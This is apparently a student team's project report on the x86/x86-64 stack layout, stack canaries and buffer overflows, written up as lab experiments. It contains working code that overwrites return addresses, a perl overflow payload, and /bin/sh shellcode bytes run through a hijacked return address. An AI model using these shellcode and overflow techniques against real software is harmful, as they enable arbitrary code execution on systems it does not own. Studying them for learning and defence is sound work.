Analysing Stack Map and Vulnerabilities in C

Team Details:-
Rohan Gyani: 110040001
Sahil Jindal: 110020043
Abhishek Gupta: 110040067
Mridul Jain: 110040083

Goal of the Project:
The goal of this project is to briefly study the Intel instruction set and the stack map. We also aim to understand what buffer overflow vulnerability is, how it is exploited and gain hands-on experience with the effect of buffer overflows.

Progress done:

1) **Studied Intel Instruction Set**:-
   a) Registers are preceded by *%*, and constants are preceded by *$*.
   b) Register operands in 64-bit instructions begin with r, like *%rsp*, whereas, in 32-bit instructions register operands begin with e, like *%eax*.
   c) 32-bit instructions end with 'l', whereas 64 bit instructions end with 'q'.
   d) The destination register is the second operand as opposed to first operand in MIPS.
   e) ALU instructions have max. of 2 operands instead of 3 in MIPS.
      eg: *subq $48, %rsp*
      Description:- *%rsp=%rsp-48*
   f) Addressing is done in similar way as in MIPS.
      For eg: *-8(%rsp)*.
   g) Linux passes its arguments to the system calls on the registers, and uses a software interrupt to jump into kernel mode. For example in x86, to invoke a system call, we will pass the parameters in corresponding registers and then execute "*int 0x80"* instruction
   h) We studied how interrupt handlers are called.
   i) We studied the assembly code generated by compiling a c-program on x86 and x86-64 both.
   j) In x86 architecture, for registers *%eax, %ebx, %ecx* and *%edx,* subsections may be used. For example, the least significant two bytes of *%eax* can be treated as a 16-bit register called *%ax*. The least significant byte of *%ax* can be used as a single 8-bit register called *%al*, while the most significant byte of *%ax* can be used as a single 8-bit register called *%ah*.
   k) Similarly, subsections may be used for registers *%rax, %rbx, %rcx* and *%rdx* in x86-64 architecture.
   l) Some useful instructions:-
      i. call: pushes address of next instruction on stack and transfer controls to address specified by the operand of the current instruction.

ii. leave: adjust the stack pointer and the frame pointer such that they will contain correct values w.r.t caller function.
iii. ret: pops return address from the stack and jumps to it.
iv. pop: it pops the element from the stack and stores it's value in the specified operand.
v. push: pushes the operand on the stack.
vi. mov: copies the value of first operand into second operand. Unlike MIPS, mov can directly copy value from a memory location or into a memory location.
vii. jz/je: jump if zero flag(ZF) is set to 0.
viii. jnz/jne: jump if zero flag(ZF) is not set to 0.
ix. jnl (jump if not less): causes execution to branch to "label" if the Sign Flag equals the Overflow Flag.
x. testl: AND the arguments together and check the result for zero. It only modifies the flags.
xi. cmp: compares the values of two specified operands and sets the corresponding flags.
xii. cltq: sign extend 32-bit value to a 64-bit value.

2. Stack Structure Examination:-

a. As is in MIPS, stack grows from higher memory address to lower address.
b. In x86-64, *%rsp* is used to store the stack pointer and *%rbp* is used to store the frame pointer whereas in x86, *%esp* is used to store the stack pointer and *%ebp* is used to store the frame pointer.
c. When a subroutine is called the stack looks like the following:-

For x86:- when a subroutine is called, the parameters are passed on to the stack straight away, i.e. the caller function stores them directly into the stack.
At the bottom, are the parameters which are passed to this function.

I. On top of them is the return address.
II. Above this, frame pointer for the previous function is stored and will be retrieved and used when the function will return to the caller function.
III. On top of them, we've local variables defined in this function.

For x86-64:- Here up to 6 parameters are passed via registers and the remaining are stored on the stack by the caller function

I. At the bottom are the parameters which were directly stored on the stack by the caller function.
II. On top of them is the return address.
III. Above this, frame pointer for the previous function is stored and will be retrieved and used when the function will return to the caller function.
IV. On top of this, local variables defined in this function are stored
V. On top of this, the parameters which were passed to this function via registers are stored.

3. Canary Defence:-

a. Some bytes are read from the memory and are stored in the neighbourhood of the return address of the function. When deallocating the stack frame of that particular function, we check that value using xor. If xor is not 0, it indicates that buffer overflow has occurred and *__stack_chk_fail* function will be called. If xor is 0, then *ZF* flag is set and using the *je* instruction (jump to the given label if ZF flag is 1) we skip the *__stack_chk_fail* function and the normal execution continues (ZF flag, i.e. zero flag, is set to 1 if the result of arithmetic operation is zero).
b. Flag to disable canary defence mechanism:
-fno-stack-protector
c. As per our observation, defence mechanism is used when char array is used in our code but it was not needed when a char, an int or an int array is used in the code.
d. One strange observation, the order in which local variables are pushed on the stack is reversed as compared to when we're not using the above flag in (b) part. We're not yet able to determine the reason for this.

4. CFI Directives:-

a. Can be disabled using the flag:
-fno-asynchronous-unwind-tables
b. Used to direct exception handling.
c. The only purpose of using this flag was to make our assembly code neat and easier to read (as removing these directives did not affect our results).

5. Overwriting the return address:-

We already described above what happens to the stack when we make a function call. Using this knowledge of the stack map, we modified the return address to skip an instruction in a C program.

Sample Code for skipping instruction (x86-64):

```
void func(int a, int b, int c) {
        char buffer[5];
        int *ret;
        buffer[0] = 'a';
        ret = buffer + 24;
        (*ret) += 7;
}
```

```
void main() {
        int x;
        x = 0;
        func(1,2,3);
        x = 1;
        printf("%d\n",x);
}
```

Here we called *func(int a, int b, int c)* from the *main()*.
When this function call is made:

- The return address (corresponding to instruction: *x = 1;*)is pushed onto the stack.
- Then goes the saved frame pointer
- And finally space for *buffer* is reserved on the stack.
- The function arguments are at the top of the stack.(in case of x86 they will be present before the return address)

Since the instruction just after function call is “x=1”, therefore the return address for func() will be corresponding to this instruction.
We used gdb’s disassemble feature to find that the next instruction is 7 bytes ahead of “x=1” instruction.
In the function, we created an array and assigned it’s element some random character. We then looked at the assembly code of this function, which helped us to figure out that this array is at stored at a distance of 16 bytes w.r.t stack frame pointer. We also know that in x86-64 frame pointer takes 8 bytes for storage. So return address is 24 bytes from array’s base address. We stored the address of the return address in a pointer variable *ret*.
Since we know that next instruction is 7 bytes from the instruction where return address is pointing, therefore we incremented the value of the return address by 7

6. Modifying return address to call another function:-

Since we were able to correctly access the return address of the function, therefore now we tried to change it to call another function. Here we took a string as argument, which is such that it will not fit in the buffer completely and will overflow the buffer and modify the return address to point to other function.
In this program, there is another function, called func2(). The program logic bars func2() from running ever. However, by giving it the right input to main, we can get func2() to run.

```
void func1(const char* input)
{
        char buf[10];
        buf[0]='a';
        strcpy(buf, input);
}
```

```
void func2(void)
{
        printf("func2 Called\n");
        exit(0);
}

int main(int argc, char* argv[])
{
        printf("Address of func2 = %p\n", func2());
        if (argc != 2)
  {
        printf("Please supply a string as an argument!\n");
        return -1;
  }
        func1(argv[1]);
        return 0;
}
```

Here the string taken as argument is passed as parameter to func1(). In func1(), we are copying it to char array using strcpy function. strcpy() function does not do bound checking, so if the string passed is larger than the length of the character array, then it will overwrite the data following the array. We supply such a string which will overflow the buffer and make the return address of func1 to point to func2. We carefully observed the return address of func2() and appended it to the longest length valid input string. This in turn modifies the return address of func1() to address of func2(), and func2() is executed.

Difficulties encountered:-

1. To change the return address of func1() the input should contain the address of func2(). The address of a function is in hexadecimal but we were unable to give hex as an input through command line, as our code used to consider \x as 2 characters itself. To overcome this problem we had to switch to perl to run the program with the argument.

```
$arg = "11111111111111111111111"."\xa9\x05\x40";
$cmd = "./a.out ".$arg;
system($cmd);
```

2. Even when we did not have exit(0) in func2 then also our code worked properly and it used to print “func2 called”, and then exit. But this was unexpected. According to us, since this function was not called, there should not be a valid return address for it to go to, and hence it would return to a garbage value and should have given a segmentation fault. But we were not getting any error.

So we decided to check the exit status of the program & used “echo$?” to print the exit status. We found that the exit status was 139 (which meant that the program died with signal 11 (SIGSEGV on Linux and most other UNIXes), also known as segmentation fault.) and hence our reasoning was justified.

7. Spawning a shell:-

A. Now that we could modify the return address of a C program and change the flow of execution, we further exploited this power to spawn a shell from where we can write other commands. We therefore wrote an assembly program in C in both x86 & x86-64 architectures. When executed this code will spawn a new shell.
Assembly code for spawning a shell (x86-64 Architecture):

```
void main(){
        __asm__(
                "jmp call123;"
                "pop1: pop %rsi;"
                "xor %rax, %rax;"
                "mov %rax, %rcx;"
                "mov %rax, %rdx;"
                "mov %rsi, %rbx;"
                "movb $0xb, %al;"
                "int $0x80;"
                "xor %rbx, %rbx;"
                "mov   %rbx,%rax;"
                "inc      %rax;"
                "int      $0x80;"
                "call123: call   pop1;"
                ".string \"/bin/sh\";"
        );
}
```

Difficulties encountered:-

We expected JMP and CALL instructions to use instruction pointer relative addressing (as in MIPS), which means we can jump to an offset from the current instruction pointer without needing to know the exact address of where in memory we want to jump to. However, contrary to our assumption, we found that it was using absolute addressing (This was found using the disassembler). To resolve this issue we switched to label-based jumps.

B. We then converted the above program in shellcode for both the architectures using gdb's x/bx instruction for conversion. This shellcode was stored in a char array. We modified the return address of the function and made it to point to the character array which contains the shellcode, and so the shellcode is executed.

Calling shellcode by modifying return address of the function func():

```
char *shellcode =
"\xeb\x1c\x5e\x48\x31\xc0\x48\x89\xc1\x48\x89\xc2\x48\x89\xf3\xb0\x0b\x
cd\x80\x48\x31\xdb\x48\x89\xd8\x48\xff\xc0\xcd\x80\xe8\xdf\xff\xff\xff/bin
/sh";

void func() {
  long *ret;
  ret = (long)&ret + 16;
  (*ret) = (long)shellcode;
}

void main(){
   func();
}
```

Difficulties encountered:-

1. Earlier we were trying to execute the above program with *char shellcode[ ].* However, this did not work but *char * shellcode* worked. We figured out that this was because:

a) char shellcode[ ] = "string"
This puts the string literal on the stack as a local array. The stack and heap memory usually does not have execute permissions (for obvious reasons of security).

b) char* shellcode = "string"
The string lives in static memory - typically in the same region as the rest of the program binary - which is executable.

8. Taking shellcode as input:-

Instead of hardcoding the shellcode in the program(as above), we also tried to pass the shellcode as an input to the program, but it didn't work. We tried the following ways:

A. Here, we were able to successfully pass the shellcode as an input to the program via perl script. We were also able to store the shellcode in the char array. After this, we made the return address point to the array

```
void func(char * input) {
   char array[50];
   long * ret;
   strcpy(array, input);
   ret = (long)&ret +80;
   (*ret) = (long)array;
 }

void main(int argc, char*argv[]) {
   printf("%d\n",argc);
   printf("%d\n",strlen(argv[1]));
   func(argv[1]);
}
```

But above code was giving segmentation fault. It may be because of the fact that the array will lie in stack memory region and stack memory does not have execute permissions.

B. We then create a dynamic array and stored the input string in that array. We also made the return address point to this array.

```
char * array;

void func(char * input) {
   long * ret;
   int a = strlen(input);
   array = (char *) malloc(a+1);
   strcpy(array, input);
   ret = (long)&ret +80;
   (*ret) = (long)array;
}

void main(int argc, char*argv[]){
   printf("%d\n",argc);
   printf("%d\n",strlen(argv[1]));
   func(argv[1]);
}
```

But above code was also giving segmentation fault. It may be because of the fact that the dynamic array will lie in heap memory which might not have execute permissions.

Difficulties encountered:-

We are not able to store the array in text or any segment which has execute permissions such that if return address points to this array, then shellcode inside the array gets executed.